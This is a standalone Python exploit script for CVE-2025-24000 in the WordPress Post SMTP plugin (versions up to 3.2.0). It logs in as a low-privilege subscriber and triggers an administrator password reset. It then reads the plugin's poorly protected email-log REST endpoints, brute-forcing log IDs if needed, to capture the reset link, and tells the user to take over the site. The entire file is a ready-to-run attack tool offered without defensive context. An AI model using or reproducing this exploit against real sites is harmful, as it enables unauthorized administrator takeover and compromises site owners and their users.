#!/usr/bin/env python3 # CVE-2025-24000 - Post SMTP <= 3.2.0 Privilege Escalation # Subscriber -> Admin via email log access import requests import argparse import re import sys from urllib.parse import urljoin requests.packages.urllib3.disable_warnings() def banner(): print(""" ( ) ) ) ( ( ) ) ) ) ) )\ ( ( ( ( /( ( /( ( /( )\))( ( /( ( /( ( /( ( /( ( /( (((_) )\ )\ )\ ___ )(_)))\()) )(_))((_)()\ ___ )(_)) )\()) )\()) )\()) )\()) )\___ ((_)((_)((_)|___|((_) ((_)\ ((_) (()((_)|___|((_) ((_)\ ((_)\ ((_)\ ((_)\ ((/ __|\ \ / / | __| |_ )/ (_)|_ ) | __| |_ )| | (_)/ (_)/ (_)/ (_) | (__ \ V / | _| / /| () | / / |__ \ / / |_ _|| () || () || () | \___| \_/ |___| /___|\__/ /___| |___/ /___| |_| \__/ \__/ \__/ Post SMTP <= 3.2.0 | Subscriber -> Admin | CVE-2025-24000 """) def login(session, base_url, username, password): print(f"[*] Logging in as {username}...") login_url = urljoin(base_url, "wp-login.php") session.get(login_url) # get initial cookies data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": urljoin(base_url, "wp-admin/"), "testcookie": "1" } headers = {"Cookie": "wordpress_test_cookie=WP+Cookie+check"} resp = session.post(login_url, data=data, headers=headers, allow_redirects=True) logged_in = any("wordpress_logged_in" in c.name for c in session.cookies) if not logged_in: print("[-] Login failed. Check credentials.") sys.exit(1) print(f"[+] Logged in successfully as {username}") return session def get_nonce(session, base_url): print("[*] Fetching WP REST nonce from wp-admin...") resp = session.get(urljoin(base_url, "wp-admin/")) matches = re.findall(r'"nonce":"([a-f0-9]+)"', resp.text) if not matches: print("[-] Could not find nonce in wp-admin page.") sys.exit(1) nonce = matches[0] print(f"[+] Got nonce: {nonce}") return nonce def trigger_password_reset(session, base_url, admin_email): print(f"[*] Triggering password reset for: {admin_email}") reset_url = urljoin(base_url, "wp-login.php?action=lostpassword") data = { "user_login": admin_email, "redirect_to": "", "wp-submit": "Get New Password" } resp = session.post(reset_url, data=data) if "check your email" in resp.text.lower() or resp.status_code == 200: print("[+] Password reset triggered.") else: print("[!] Reset may have failed, continuing anyway...") def get_logs(session, base_url, nonce): print("[*] Fetching email logs...") logs_url = urljoin(base_url, "wp-json/psd/v1/get-logs") headers = {"X-WP-Nonce": nonce} resp = session.get(logs_url, headers=headers) if resp.status_code == 403 or "Auth token missing" in resp.text: print("[-] Access denied to logs endpoint.") sys.exit(1) try: data = resp.json() print(f"[+] Got logs response.") return data except Exception: print(f"[-] Failed to parse logs response: {resp.text[:200]}") sys.exit(1) def get_email_ids(logs_data): ids = [] # Handle various response structures if isinstance(logs_data, list): for entry in logs_data: if isinstance(entry, dict) and "id" in entry: ids.append(entry["id"]) elif isinstance(logs_data, dict): entries = logs_data.get("data", logs_data.get("logs", logs_data.get("emails", []))) if isinstance(entries, list): for entry in entries: if isinstance(entry, dict) and "id" in entry: ids.append(entry["id"]) return ids def get_email_detail(session, base_url, nonce, email_id): detail_url = urljoin(base_url, f"wp-json/psd/v1/get-details?id={email_id}&type=show_view") headers = {"X-WP-Nonce": nonce} resp = session.get(detail_url, headers=headers) try: return resp.json() except Exception: return {"raw": resp.text} def extract_reset_link(text): pattern = r'https?://[^\s\'"<>]+action=rp[^\s\'"<>]+' matches = re.findall(pattern, str(text)) return matches[0] if matches else None def main(): banner() parser = argparse.ArgumentParser(description="CVE-2025-24000 Post SMTP exploit") parser.add_argument("--url", required=True, help="Base WordPress URL (e.g. http://samurai.local/samurai/)") parser.add_argument("--username", required=True, help="Subscriber username") parser.add_argument("--password", required=True, help="Subscriber password") parser.add_argument("--email", required=True, help="Admin email or username to reset") args = parser.parse_args() base_url = args.url.rstrip("/") + "/" session = requests.Session() session.verify = False # Step 1: Login as subscriber login(session, base_url, args.username, args.password) # Step 2: Get nonce nonce = get_nonce(session, base_url) # Step 3: Trigger admin password reset trigger_password_reset(session, base_url, args.email) # Step 4: Dump logs logs = get_logs(session, base_url, nonce) # Step 5: Try to find reset link in logs directly reset_link = extract_reset_link(logs) if not reset_link: # Step 6: Get individual email details ids = get_email_ids(logs) if not ids: # Fallback: try IDs 1-20 print("[*] No IDs found in logs, brute-forcing IDs 1-20...") ids = list(range(1, 21)) print(f"[*] Checking {len(ids)} email(s) for reset link...") for eid in ids: detail = get_email_detail(session, base_url, nonce, eid) reset_link = extract_reset_link(detail) if reset_link: break if reset_link: print(f"\n[+] RESET LINK FOUND:\n {reset_link}") print(f"\n[*] Visit the link above to set a new admin password and take over the site.") else: print("[-] Could not find reset link. Try increasing the ID range or check the logs manually.") print(f"[*] Raw logs: {str(logs)[:500]}") if __name__ == "__main__": main()